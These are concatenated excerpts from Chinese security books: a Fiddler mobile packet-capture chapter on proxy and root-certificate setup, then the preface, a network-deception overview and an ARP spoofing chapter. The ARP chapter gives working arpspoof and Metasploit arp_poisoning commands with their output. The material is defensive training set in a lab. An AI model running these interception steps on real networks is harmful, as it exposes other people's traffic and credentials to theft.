（2）切换到Connections选项卡，如图6.12所示。其中，8888是Fiddler默认监听的端口号。 图6.11 Options对话框 图6.12 Connections选项卡 （3）选中Allow remote computers to connect复选框，弹出警告对话框，如图6.13所示。该警告信息提示此选项允许远程客户端进行连接，但是需要重新启动Fiddler后才生效。 （4）单击“确定”按钮，关闭警告对话框，返回到Connections选项卡中，如图6.14所示。此时，Allow remote computers to connect复选框已经成功被选中。 图6.13 警告对话框 图6.14 Connections选项卡 （5）单击OK按钮，远程代理设置完成，重新启动Fiddler，设置即可生效。 （6）启动Fiddler后，单击右上角的下拉按钮，然后将光标置于小电脑图标上，将显示Fiddler所在主机的IP地址，如图6.15所示。其中的192.168.12.103即为Fiddler主机所在的IP地址，该地址在配置手机代理时会用到。 图6.15 查看Fiddler所在主机的IP地址 未知 6.2.2 配置Android设备代理 如果要将Android设备上的HTTP/HTTPS数据发送给Fiddler所在的主机，需要在Android手机上配置代理。设置方法如下。 （1）使用手机成功连接上Wi-Fi无线网络。这里连接的无线网络名为daxueba.net，如图6.16所示。 （2）单击无线网络后面的箭头按钮，查看该网络详情，如图6.17所示。其中，“手动代理”后面的按钮为灰色，表示没有开启代理。 图6.16 成功连接无线 图6.17 网络详情 （3）单击“手动代理”后面的按钮，开启代理设置，如图6.18所示。 （4）单击“代理服务器主机名”选项，弹出“代理服务器主机名”设置对话框，如图6.19所示。在文本框中输入Fiddler所在主机的IP地址，本例为192.168.12.103。 图6.18 设置代理 图6.19 输入代理地址 （5）单击“确定”按钮，关闭该对话框。单击“代理服务器端口”选项，弹出“代理服务器”对话框，如图6.20所示。在文本框中输入Fiddler监听的端口号，上面使用的是8888。 （6）单击“确定”按钮，关闭对话框。这时，可以看到设置的信息，如图6.21所示。 图6.20 输入代理端口 图6.21 成功设置了代理 未知 6.2.3 配置苹果设备代理 如果要将苹果设备上的HTTP/HTTPS数据发送给Fiddler所在的主机，需要在苹果手机上配置代理。操作方法如下： （1）将手机成功连接至无线局域网，如图6.22所示。 （2）单击连接的网络，查看网络详情，如图6.23所示。 图6.22 成功连接无线 图6.23 网络详情 （3）单击“配置代理”选项，查看当前代理状态，如图6.24所示。此时的代理状态处于关闭状态。 （4）单击“手动”选项进行设置，将“服务器”选项配置为Fiddler所在主机的IP地址，将“端口”选项配置为Fiddler监听的端口号，如图6.25所示。 图6.24 未开启代理 图6.25 成功设置代理 未知 6.3 配置HTTPS证书 超文本传输安全协议（HyperText Transfer Protocol Secure，简称HTTPS）是一种通过计算机网络进行安全通信的传输协议。HTTPS经由HTTP进行通信，但利用SSL/TLS来加密数据包。为了安全性，网站采用了HTTPS进行传输。HTTPS的信任基于预先安装在操作系统中的证书，因此要使用Fiddle分析手机上的HTTPS数据包，还需要在手机上配置相应的证书。下面介绍证书的配置方式。 未知 6.3.1 生成证书 Fiddler可以生成证书供手机使用，方法如下： （1）在HTTPS选项卡中，单击Actions按钮，弹出下拉列表框，如图6.26所示。 图6.26 导出证书 （2）选择Export Root Certificate to Desktop选项，弹出Success对话框，如图6.27所示。该对话框提示已经成功将证书导出至桌面，导出的证书名称为FiddlerRoot.cer。 图6.27 Success对话框"},
    {"text": "未知 6.3.2 配置Android证书 Android手机允许将证书文件直接发送到手机上，因此可以直接使用Fiddler生成的证书FiddlerRoot.cer在手机上安装。方法如下： （1）将Fiddler生成的证书FiddlerRoot.cer复制到手机SD卡的根目录下。 （2）在手机中，打开“设置”或“更多设置”界面，如图6.28所示。 （3）找到“安全”选项并单击，打开“安全”界面，如图6.29所示。 图6.28 “更多设置”界面 图6.29 “安全”界面 （4）由于证书放在SD卡的根目录下，因此选择从SD卡进行导入安装。这里单击“从手机存储和SD卡安装”选项，如果手机上设置了锁屏密码，输入正确密码后，将弹出“为证书命名”对话框，如图6.30所示。 （5）这里将原始名称FiddlerRoot改为CARoot，然后单击“确定”按钮，便成功将证书安装到手机上。 （6）返回到“安全”界面，单击“受信任的凭据”选项，可以看到安装成功的证书，如图6.31所示。 图6.30 “为证书命名”对话框 图6.31 安装的证书 未知 版权信息 书名：从实践中学习手机抓包与数据分析 作者：大学霸IT达人 排版：zm 出版社：机械工业出版社 ISBN：9787111668282 — · 版权所有 侵权必究 · — Cover"},
    {"text": "未知 未知 版权信息 书名：从实践中学习网络防护与反入侵 作者：大学霸IT达人 排版：zm 出版社：机械工业出版社 ISBN：1901240441 — · 版权所有 侵权必究 · — 未知 前言 随着IT技术的发展，万物互联成为新的趋势。无论是计算机、手机，还是电视、音箱等，各种电子设备都能连接网络。这些设备借助网络完成各种复杂的功能。在工作中，这些设备往往会发送和接收大量的数据，而这些数据往往包含大量的重要信息和敏感信息，如用户的个人信息、商业情报和军事情报等。 为了获取这些信息，攻击者会对目标进行各种网络欺骗和入侵。其中，最常见的两种方式是中间人攻击和服务伪造。中间人攻击利用网络标识识别机制的漏洞和人性弱点，获取目标网络数据，然后从中提取有价值的数据。而服务伪造则是构建虚拟服务，诱骗用户访问，从而获取需要的数据。甚至，攻击者还会篡改数据，形成进一步的其他攻击。因此，网络防护的重点是发现这两种行为并进行防御。 本书基于Kali Linux系统，从渗透测试的角度讲解网络欺骗的实施方式和防御技巧，内容涵盖中间人攻击、服务伪造、数据嗅探和数据篡改等。本书在讲解过程中贯穿了大量的实例，以便读者更加直观地理解与掌握各章内容。 本书特色 1.详细剖析网络欺骗的各种方式 网络环境的不同，使得用户使用的联网方式、网络协议及服务均有所不同，每种环境下衍生出的网络欺骗方式也不同。本书详细分析了常见的网络欺骗原理、实施方式和防御手段，帮助读者应对各种攻击。 2.内容可操作性强 网络欺骗是基于实际应用存在的漏洞而衍生出来的网络攻击方式，这些攻击方式都具有极强的可操作性。本书基于这个特点合理安排内容，详细讲解各种中间人攻击的方式、服务伪造方式和服务认证伪造方式。书中的重要技术要点都配以操作实例进行讲解，带领读者动手练习。 3.由浅入深，容易上手 本书充分考虑了初学者的学习特点，从概念讲起，帮助初学者明确网络欺骗的原理和技术构成。在讲解每种攻击方式时，首先分析攻击依赖协议的工作方式和攻击原理，然后具体讲解攻击方式，最后给出相应的防御方式。 4.环环相扣，逐步讲解 网络欺骗遵循中间人攻击、伪造服务、获取数据、继续攻击的工作流程，本书按照该流程详细分析每个环节涉及的相关技术，逐步讲解实现方式及防御手段。通过这样的方式，帮助读者理解网络欺骗的本质，以便灵活应对实际生活和工作中各种复杂的攻击手段。 5.提供完善的技术支持和售后服务 本书提供QQ交流群（343867787）和论坛（bbs.daxueba.net），供读者交流和讨论学习中遇到的各种问题。读者还可以关注我们的微博账号（@大学霸IT达人），获取图书内容更新信息及相关技术文章。另外，本书还提供了售后服务邮箱hzbook2017@163.com，读者在阅读本书的过程中若有疑问，也可以通过该邮箱获得帮助。 本书内容 第1篇 基础知识（第1章） 本篇主要介绍网络欺骗的主要技术构成，如中间人攻击和服务伪造等。 第2篇 中间人攻击及防御（第2～6章） 本篇主要介绍常见的中间人攻击和防御方式，涵盖ARP攻击及防御、DHCP攻击及防御、DNS攻击及防御、LLMNR/NetBIOS攻击及防御、WiFi攻击及防御。 第3篇 服务伪造（第7～9章） 本篇主要介绍如何伪造各种服务，包括软件更新服务、系统更新服务、网站服务，以及各类服务认证，如HTTP基础认证、HTTPS服务认证、SMB服务认证和SQL Server服务认证等。 第4篇 数据利用（第10、11章） 本篇主要介绍攻击者进行网络欺骗后，如何嗅探数据和篡改数据。本篇涉及大量的专业工具，如SSLStrip、Ettercap、SET、MITMf、Wireshark、Yersinia、bittwiste、HexInject和tcprewrite等。 本书配套资源获取方式 本书涉及的工具和软件需要读者自行获取，获取途径有以下几种： ·根据书中对应章节给出的网址下载； ·加入本书QQ交流群获取； ·访问论坛bbs.daxueba.net获取； ·登录华章公司官网 www.hzbook.com ，在该网站上搜索到本书，然后单击“资料下载”按钮，即可在本书页面上找到“配书资源”下载链接。 本书内容更新文档获取方式 为了让本书内容紧跟技术的发展和软件的更新，我们会对书中的相关内容进行不定期更新，并发布对应的电子文档。需要的读者可以加入QQ交流群获取，也可以通过华章公司官网上的本书配套资源链接下载。 本书读者对象 ·渗透测试技术人员； ·网络安全和维护人员； ·信息安全技术爱好者； ·计算机安全自学人员； ·高校相关专业的学生； ·专业培训机构的学员。 本书阅读建议 ·第2～6章的攻击操作可能引起网络故障，所以操作时一定要在实验环境下进行，以避免影响正常的生活和工作。 ·进行实验时，建议和正常网络进行对比分析，了解网络欺骗的各种特征，以便发现各种攻击。 ·在实验过程中建议了解相关法律，避免侵犯他人权益，甚至触犯法律。 ·在进行数据分析时，需要读者具有一定的网络协议知识和Wireshark使用经验，若欠缺相关知识，可阅读本系列的相关图书。 售后支持 感谢在本书编写和出版过程中给予我们大量帮助的各位编辑！限于作者水平，加之写作时间有限，书中可能存在一些疏漏和不足之处，敬请各位读者批评指正。 大学霸IT达人 未知 第1篇 基础知识"},
    {"text": "未知 第1章 网络欺骗与防御概述 网络欺骗是利用各种技术手段，将目标网络数据发送给错误的接收方。网络欺骗不仅可以导致用户数据被窃取和篡改，也会导致接收方受到流量攻击。本章将对网络欺骗与防御进行概述。 未知 1.1 什么是网络欺骗 在日常生活中，常见的网络欺骗技术可以分为两种，分别是中间人攻击和服务伪造。本节将分别介绍这两种网络欺骗方式。 未知 1.1.1 中间人攻击 中间人攻击（Man In The Middle attack，MITM攻击）是一种“间接”的入侵攻击。这种攻击模式通过各种技术手段（如SMB会话劫持、ARP欺骗、DNS欺骗等），将受到入侵者控制的一台计算机虚拟地放置在网络连接中的两台通信计算机之间，使其充当“中间人”角色，负责转发双方的数据。简而言之，所谓的MITM攻击就是通过拦截正常的网络通信数据，进行数据嗅探和篡改，而不让通信双方发现的攻击，如图1.1所示。 图1.1 中间人攻击示意 随着计算机通信技术的不断发展，MITM攻击也越来越多样化。最初，攻击者只要将网卡设为混杂模式，伪装成代理服务器监听特定的流量就可以实现攻击。这是因为很多通信协议都是以明文进行传输的，如HTTP、FTP和Telnet等。后来，随着交换机代替集线器，简单的嗅探攻击已经不能成功，必须先进行ARP欺骗才行。如今，随着越来越多的服务商（网上银行、邮箱）开始采用加密通信，SSL（Secure Socket Layer，安全套接层）成为一种广泛使用的技术，而且HTTPS和FTPS等都是建立在其基础上的。这时，中间人攻击又开始引入证书剥离、伪造根证书等技术。 未知 1.1.2 服务伪造 服务伪造就是伪造一个虚假的服务器，代替真实服务器做出响应，进而获取用户的登录认证等重要信息。例如，通过伪造一个HTTP认证服务，可以获取用户认证信息。当成功伪造一个HTTP认证服务后，即可通过中间人攻击技术将目标主机诱骗到攻击主机的伪HTTP认证服务。若目标主机登录伪HTTP认证服务，其登录认证信息将被攻击主机捕获。 未知 1.2 中间人攻击的种类 中间人攻击是一种由来已久的网络入侵手段，在当今仍然有着广泛的发展空间。在网络安全方面，中间人攻击的使用很广泛，曾经猖獗一时的SMB会话劫持和DNS欺骗等技术都是典型的中间人攻击手段。目前，ARP欺骗和DNS欺骗是最典型的中间人攻击方式。本节将对中间人攻击的种类进行详细介绍。 未知 1.2.1 ARP攻击 ARP是一种基于网络层的网络协议。它负责将IP地址转化为MAC地址，帮助把以IP地址标识的数据包发送给以MAC地址标识的网络设备。而ARP攻击通过伪造IP地址和MAC地址的对应关系来实现。这种攻击能够在网络中产生大量的ARP通信，导致网络阻塞。攻击者只要持续不断地发出伪造的ARP应答包，就能更改目标主机ARP缓存中的IP-MAC条目，从而造成ARP欺骗，形成中间人攻击。 未知 1.2.2 DHCP攻击 DHCP是一种应用层网络协议，它能帮助网络服务器为网络内的其他主机分配IP地址。其他主机使用获取的IP地址进行数据发送。DHCP攻击针对的目标是网络中的DHCP服务器。它的原理是耗尽网络内原有DHCP服务器的IP地址资源，使其无法正常提供IP地址，然后网络中假冒的DHCP服务器开始为客户端分发IP地址。由于在分配IP地址的时候会附加伪造的网关和DNS服务器地址，所以会造成断网攻击，或者实现中间人攻击。 未知 1.2.3 DNS攻击 DNS是一种应用层的网络协议，它负责将域名解析为对应的IP地址。用户在访问网站的时候，通常需要通过DNS服务器获取网站所对应的IP地址，才能请求到对应的网页。而DNS攻击是将域名解析到错误的IP地址，从而导致用户无法访问网页或者访问错误的网页。 未知 1.2.4 WiFi攻击 WiFi是现在常见的联网方式。WiFi攻击是通过创建伪AP，以实现中间人攻击。首先，攻击者需要探测出目标的SSID、工作频道和MAC等相关信息，并且获取其无线连接的密码；然后，利用创建伪AP软件（如Aribase-ng）创建一个与真实AP相同配置的伪AP，并通过大功率网卡诱骗用户设备连接到伪AP上，从而实现WiFi攻击。 未知 1.2.5 LLMNR/NetBIOS攻击 网络基本输入输出系统（Network Basic Input Output System，NetBIOS）和链路本地多播名称解析（Link-Local Multicast Name Resolution，LLMNR）是Microsoft针对工作组和域设计的名称解析协议，主要用于局域网中的名称解析。当DNS解析失败时，Windows系统会使用NetBIOS和LLMNR搜索名称。因此，基于这个工作原理，也可以进行中间人攻击。 未知 1.3 技术构成 中间人攻击技术可以分为四部分，分别是劫持流量、转发数据、嗅探数据及篡改数据。通过实施中间人攻击，攻击者可以对目标主机的数据进行劫持、转发及篡改。服务伪造主要是构建各种目标用户要访问的服务，以诱骗目标用户进行特定的操作，如输入用户名和密码信息。本节将介绍网络欺骗技术的构成。 未知 1.3.1 劫持流量 劫持流量是中间人攻击的第一步。攻击者必须获取目标发送和接收的数据，才能进行中间人攻击。前面讲解的ARP攻击、DHCP攻击、DNS攻击和WiFi攻击都是为了将目标数据引导至攻击者期待的主机上，然后进行后续处理。不同的攻击方式，可以劫持的数据也不同。例如，ARP攻击、DHCP攻击和WiFi攻击可以获取目标所有的数据流量，而DNS攻击只能获取被欺骗的域名的相关数据。"},
    {"text": "未知 1.3.2 转发数据 转发数据就是将攻击者获取的数据转发到真实或者虚假的目的地。例如，进行DNS攻击的时候，如果要诱骗用户访问虚假网站，就需要构建错误的DNS记录，以引导用户访问虚假网站。如果不进行转发数据或者转发失败，则会导致目标用户无法访问网络，或者无法访问特定的网站。 未知 1.3.3 嗅探数据 一旦成功地劫持流量，并成功地进行数据转发，攻击者就可以获取目标用户的网络数据。嗅探数据就是从这些网络数据中寻找有价值的信息。例如，通过嗅探HTTP数据，可以了解用户的上网习惯、兴趣爱好，以及用户的敏感信息，如特定网站的用户名、密码、个人隐私信息等。攻击者可以提取这些数据，以便后期利用。 未知 1.3.4 篡改数据 嗅探数据只是被动地获取目标用户产生的数据。这些数据往往不是攻击者希望得到的数据。即使这些数据可以被利用，也往往由于具有时效性，而不能被长期使用。而篡改数据可以帮助攻击者实现特定的目的。例如，攻击者可以篡改目标用户提交的请求，将取消授权操作改为添加授权操作。这样，目标用户在不知情下，就完成了攻击者想要的操作。 未知 1.3.5 构建服务 为了获取重要的信息，必须构建服务。构建的服务可以是完整的服务，也可以是部分模块，如认证模块。Kali Linux提供了以下两个相关工具： ·Responder工具：使用Responder工具可以伪造SMB等服务认证。当目标用户访问伪SMB服务时，其认证信息将被Responder工具捕获。 ·isr-evilgrade工具：使用isr-evilgrade工具可以伪造更新服务。当实施DNS欺骗后，需要更新的软件就会访问渗透测试人员的计算机，下载预先准备好的攻击载荷作为更新包并运行。这样，渗透测试人员就可以控制目标主机了。 未知 1.4 网络防御 网络防御是帮助自己的计算机网络系统对抗网络攻击的措施和行为。它的目的是防止攻击者利用、削弱和破坏自己的网络系统，以确保自己的网络系统正常运行。通常情况下，防御措施可分为网络设备防护、网络通信防护、网络软件系统防护和网络服务防护等。其中，最常见的防御措施有防火墙技术、访问控制、数据加密、系统安全漏洞监测等。本书将针对每种攻击方式讲解对应的防御策略。 未知 第2篇 中间人攻击及防御 未知 第2章 ARP攻击与欺骗及防御 地址解析协议（Address Resolution Protocol，ARP）位于TCP/IP栈中的网络层，负责将某个IP地址解析成对应的MAC地址。ARP攻击就是通过伪造IP地址实现ARP欺骗，从而在网络中产生大量的ARP通信量使网络阻塞。攻击者只要持续不断地发出伪造的ARP响应包，就能更改目标主机ARP缓存中的IP-MAC条目，从而造成网络中断或实现中间人攻击。本章将介绍基于ARP的中间人攻击。 未知 2.1 ARP攻击与欺骗的原理 无论是ARP攻击，还是ARP欺骗，都是通过伪造ARP应答来实现的。它们之间唯一的区别是：ARP攻击的主要目的是让网络无法正常通信；ARP欺骗是通过冒充网关或其他主机使得到达网关或主机的流量通过攻击机进行转发，并在转发时对流量进行控制和查看，从而控制流量或得到机密信息。本节将介绍ARP攻击和欺骗的原理。 未知 2.1.1 ARP攻击原理 ARP攻击就是通过伪造IP地址和MAC地址的对应关系，使得网络无法正常通信。ARP攻击的原理如图2.1所示。 图2.1 ARP攻击原理 在图2.1中，攻击主机（PC2）制造假的ARP应答，并发送给局域网中除目标主机之外的所有主机（如PC1）。其中，该ARP应答中包含被攻击主机的IP地址和虚假的MAC地址。如此一来，目标主机和其他主机将无法通信，从而实现了ARP攻击。 未知 2.1.2 ARP欺骗原理 ARP欺骗分为两种：一种是伪装成网关进行ARP欺骗；一种是伪装成局域网内的某个主机实施ARP欺骗。下面将分别介绍这两种欺骗的工作原理。 1.伪装成网关 欺骗源把自己（或者其他非网关主机）伪装成网关，向局域网内的目标主机发送ARP应答报文，使得局域网内的主机误以为欺骗源的MAC地址是网关MAC的地址，并将原本应该流向网关的数据都发送到欺骗源。该欺骗过程如图2.2所示。 图2.2 伪装成网关的工作流程 2.伪装成主机 欺骗源C把自己伪装成局域网内的另一台主机B，将主机B的IP地址对应的MAC地址替换为欺骗源C的IP地址对应的MAC地址，使得局域网内的主机A发往主机B的报文都流向主机C。该欺骗过程如图2.3所示。 在如图2.3所示的局域网中有三台设备，分别是网关、欺骗源和目标主机，它们的IP地址和对应的MAC地址都标在图2.3中了。欺骗源每隔一定的时间就向网关发送一个ARP报文，其中目标主机的IP地址是192.168.1.3，MAC的地址是BB-BB-BB-BB-BB-BB。这样，当网关更新ARP缓存表时，就会把这个错误的IP地址和MAC地址映射关系记录在ARP缓存表中。当网关再次转发报文时，就会把发送给目标主机的报文发送给欺骗源。 提示： 在实施ARP欺骗时，可以实施单向或双向欺骗。其中，单向欺骗就是伪装成网关单向地欺骗目标主机，使目标主机无法正常通信；双向欺骗就是伪装成局域网内的某个主机对目标主机和网关双方都实施ARP欺骗，以达到中间人攻击的目的。 图2.3 伪装成主机的工作流程"},
    {"text": "未知 2.2 实施ARP攻击与欺骗 当用户对ARP攻击与欺骗的原理了解清楚后，就可以实施ARP攻击与欺骗了。Kali Linux自带大量的工具，可以用来实施ARP攻击与欺骗。另外，还有一些第三方工具也可以实施ARP攻击与欺骗。本节将介绍各种可以实施ARP攻击与欺骗的工具。"},
    {"text": "具体操作步骤如下： （1）开启路由转发。 执行命令： root@daxueba:~# echo 1 > /proc/sys/net/ipv4/ip_forward root@daxueba:~# cat /proc/sys/net/ipv4/ip_forward 1 看到以上输出信息，就表明已成功开启了路由转发。 如果用户不开启路由转发的话，目标主机就无法访问网络了。"},
    {"text": "首先查看IP地址，如下： root@daxueba:~# ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.195.128 netmask 255.255.255.0 broadcast 192.168.195.255 inet6 fe80::20c:29ff:fe22:8062 prefixlen 64 scopeid 0x20<link> ether 00:0c:29:22:80:62 txqueuelen 1000 (Ethernet) RX packets 287889 bytes 335701144 (320.1 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 115204 bytes 6937568 (6.6 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 74 bytes 4062 (3.9 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 74 bytes 4062 (3.9 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 从输出的信息中可以看到，攻击主机的IP地址为192.168.195.128，MAC地址为00:0c:29:22:80:62。 接下来查看其ARP缓存表，如下： root@daxueba:~# arp #攻击主机的ARP缓存表 Address HWtype HWaddress Flags Mask Iface _gateway ether 00:50:56:ea:f8:c7 C eth0 从输出的信息中可以看到，攻击主机中只有一条绑定网关的ARP记录，而且该网关的MAC地址为00:50:56:ea:f8:c7。"},
    {"text": "首先查看目标主机的IP地址，如下： root@daxueba:~# ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.195.245 netmask 255.255.255.0 broadcast 192.168.195.255 inet6 fe80::20c:29ff:fea2:bbf8 prefixlen 64 scopeid 0x20<link> ether 00:0c:29:a2:bb:f8 txqueuelen 1000 (Ethernet) RX packets 68751 bytes 86759747 (82.7 MiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 97458 bytes 5970333 (5.6 MiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 917 bytes 311449 (304.1 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 917 bytes 311449 (304.1 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 从输出的信息中可以看到，目标主机的IP地址为192.168.195.245，MAC地址为00:0c:29:a2:bb:f8。 接下来查看其ARP缓存表，如下： root@daxueba:~# arp #目标主机的ARP缓存表 Address HWtype HWaddress Flags Mask Iface _gateway ether 00:50:56:ea:f8:c7 C eth0 从输出信息中可以看到，只有一条绑定网关的ARP条目。"},
    {"text": "在攻击主机上执行命令： root@daxueba:~# arpspoof -i eth0 -t 192.168.195.245 192.168.195.2 0:c:29:22:80:62 0:c:29:a2:bb:f8 0806 42: arp reply 192.168.195.2 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:c:29:a2:bb:f8 0806 42: arp reply 192.168.195.2 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:c:29:a2:bb:f8 0806 42: arp reply 192.168.195.2 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:c:29:a2:bb:f8 0806 42: arp reply 192.168.195.2 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:c:29:a2:bb:f8 0806 42: arp reply 192.168.195.2 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:c:29:a2:bb:f8 0806 42: arp reply 192.168.195.2 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:c:29:a2:bb:f8 0806 42: arp reply 192.168.195.2 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:c:29:a2:bb:f8 0806 42: arp reply 192.168.195.2 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:c:29:a2:bb:f8 0806 42: arp reply 192.168.195.2 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:c:29:a2:bb:f8 0806 42: arp reply 192.168.195.2 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:c:29:a2:bb:f8 0806 42: arp reply 192.168.195.2 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:c:29:a2:bb:f8 0806 42: arp reply 192.168.195.2 is-at 0:c:29:22:80:62 从输出的信息中可以看到，攻击主机在向目标主机发送ARP应答包，告诉目标主机网关的MAC地址为00:0c:29:22:80:62（攻击主机的MAC地址）。"},
    {"text": "在攻击主机上执行命令： root@daxueba:~# arpspoof -i eth0 -t 192.168.195.2 192.168.195.245 0:c:29:22:80:62 0:50:56:ea:f8:c7 0806 42: arp reply 192.168.195.245 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:50:56:ea:f8:c7 0806 42: arp reply 192.168.195.245 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:50:56:ea:f8:c7 0806 42: arp reply 192.168.195.245 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:50:56:ea:f8:c7 0806 42: arp reply 192.168.195.245 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:50:56:ea:f8:c7 0806 42: arp reply 192.168.195.245 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:50:56:ea:f8:c7 0806 42: arp reply 192.168.195.245 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:50:56:ea:f8:c7 0806 42: arp reply 192.168.195.245 is-at 0:c:29:22:80:62 从输出的信息中可以看到，攻击主机在向网关发送ARP应答包，告诉网关目标主机的MAC地址为00:0c:29:22:80:62（攻击主机的MAC地址）。"},
    {"text": "执行命令： root@daxueba:~# arpspoof -i eth0 -t 192.168.195.245 -r 192.168.195.2 0:c:29:22:80:62 0:c:29:a2:bb:f8 0806 42: arp reply 192.168.195.2 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:50:56:ea:f8:c7 0806 42: arp reply 192.168.195.245 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:c:29:a2:bb:f8 0806 42: arp reply 192.168.195.2 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:50:56:ea:f8:c7 0806 42: arp reply 192.168.195.245 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:c:29:a2:bb:f8 0806 42: arp reply 192.168.195.2 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:50:56:ea:f8:c7 0806 42: arp reply 192.168.195.245 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:c:29:a2:bb:f8 0806 42: arp reply 192.168.195.2 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:50:56:ea:f8:c7 0806 42: arp reply 192.168.195.245 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:c:29:a2:bb:f8 0806 42: arp reply 192.168.195.2 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:50:56:ea:f8:c7 0806 42: arp reply 192.168.195.245 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:c:29:a2:bb:f8 0806 42: arp reply 192.168.195.2 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:50:56:ea:f8:c7 0806 42: arp reply 192.168.195.245 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:c:29:a2:bb:f8 0806 42: arp reply 192.168.195.2 is-at 0:c:29:22:80:62 0:c:29:22:80:62 0:50:56:ea:f8:c7 0806 42: arp reply 192.168.195.245 is-at 0:c:29:22:80:62 从输出的信息中可以看到，攻击主机分别向目标主机和网关都发送了ARP响应包，告诉网关和目标主机彼此的MAC地址为00:0c:29:22:80:62（攻击主机的MAC地址）。"},
    {"text": "如下： root@daxueba:~# arp Address HWtype HWaddress Flags Mask Iface _gateway ether 00:0c:29:22:80:62 C eth0 192.168.195.128 ether 00:0c:29:22:80:62 C eth0 从输出的信息中可以看到，目标主机获取两条新的ARP记录（网关和攻击主机的ARP条目），并且网关的ARP记录被更新了。"},
    {"text": "在Metasploit框架支持的模块中，提供了一个可以用来实施ARP欺骗的模块arp_poisoning。 下面将介绍使用该模块实施ARP欺骗的方法。 【实例2-2】 使用arp_poisoning模块实施ARP欺骗。"},
    {"text": "执行命令： root@daxueba:~# echo 1 > /proc/sys/net/ipv4/ip_forward （2）启动Metasploit框架的终端接口。 执行命令： root@daxueba:~# msfconsole # cowsay++ ____________ < metasploit > ------------ \\ ,__, \\ (oo)____ (__) )\\ ||--|| * =[ metasploit v5.0.53-dev ] + -- --=[ 1931 exploits - 1079 auxiliary - 331 post ] + -- --=[ 556 payloads - 45 encoders - 10 nops ] + -- --=[ 7 evasion ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf5 > 如果看到msf5>命令行提示符，则说明成功启动了Metasploit框架的终端接口。"},
    {"text": "从输出的信息中可以看到，支持的模块包括exploits（可利用模块）、auxiliary（辅助模块）、post（后渗透攻击模块）、payloads（攻击载荷）、encoders（编码模块）、nops（No Operation or Next Operation）和evasion（规避）共7类。"},
    {"text": "msf5 > search arp_poisoning [!] Module database cache not built yet, using slow search Matching Modules ================ # Name Disclosure Date Rank Check Description - ---- --------------- ---- ----- ----------- 0 auxiliary/spoof/arp/ 1999-12-22 normal No ARP Spoof arp_poisoning 从显示的结果中可以看到，arp_poisoning模块的绝对路径为auxiliary/spoof/arp/arp_poisoning。"},
    {"text": "msf5 > use auxiliary/spoof/arp/arp_poisoning msf5 auxiliary(spoof/arp/arp_poisoning) > 从显示的命令行提示符可知，已进入arp_poisoning模块中。"},
    {"text": "执行命令： msf5 auxiliary(spoof/arp/arp_poisoning) > show options Module options (auxiliary/spoof/arp/arp_poisoning): Name Current Setting Required Description ---- --------------- -------- ----------- AUTO_ADD false yes Auto add new host when discovered by the listener BIDIRECTIONAL false yes Spoof also the source with the dest DHOSTS yes Target ip addresses INTERFACE no The name of the interface LISTENER true yes Use an additional thread that will listen for arp requests to reply as fast as possible SHOSTS yes Spoofed ip addresses SMAC no The spoofed mac 从输出的信息中可以看到，共包括4列信息，分别是Name（名称）、Current Setting（当前设置）、Required（必需项）和Description（描述）。"},
    {"text": "执行命令： #指定目标主机地址 msf5 auxiliary(spoof/arp/arp_poisoning) > set DHOSTS 192.168.195.245 DHOSTS => 192.168.195.245 #指定欺骗主机地址 msf5 auxiliary(spoof/arp/arp_poisoning) > set SHOSTS 192.168.195.2 SHOSTS => 192.168.195.2 从输出结果中可以看到，已经分别为DHOSTS和SHOSTS选项设置了参数值。 此时，用户再次查看配置选项，显示结果如下： msf5 auxiliary(spoof/arp/arp_poisoning) > show options Module options (auxiliary/spoof/arp/arp_poisoning): Name Current Setting Required Description ---- --------------- -------- ----------- AUTO_ADD false yes Auto add new host when discovered by the listener BIDIRECTIONAL false yes Spoof also the source with the dest DHOSTS 192.168.195.245 yes Target ip addresses INTERFACE no The name of the interface LISTENER true yes Use an additional thread that will listen for arp requests to reply as fast as possible SHOSTS 192.168.195.2 yes Spoofed ip addresses SMAC no The spoofed mac 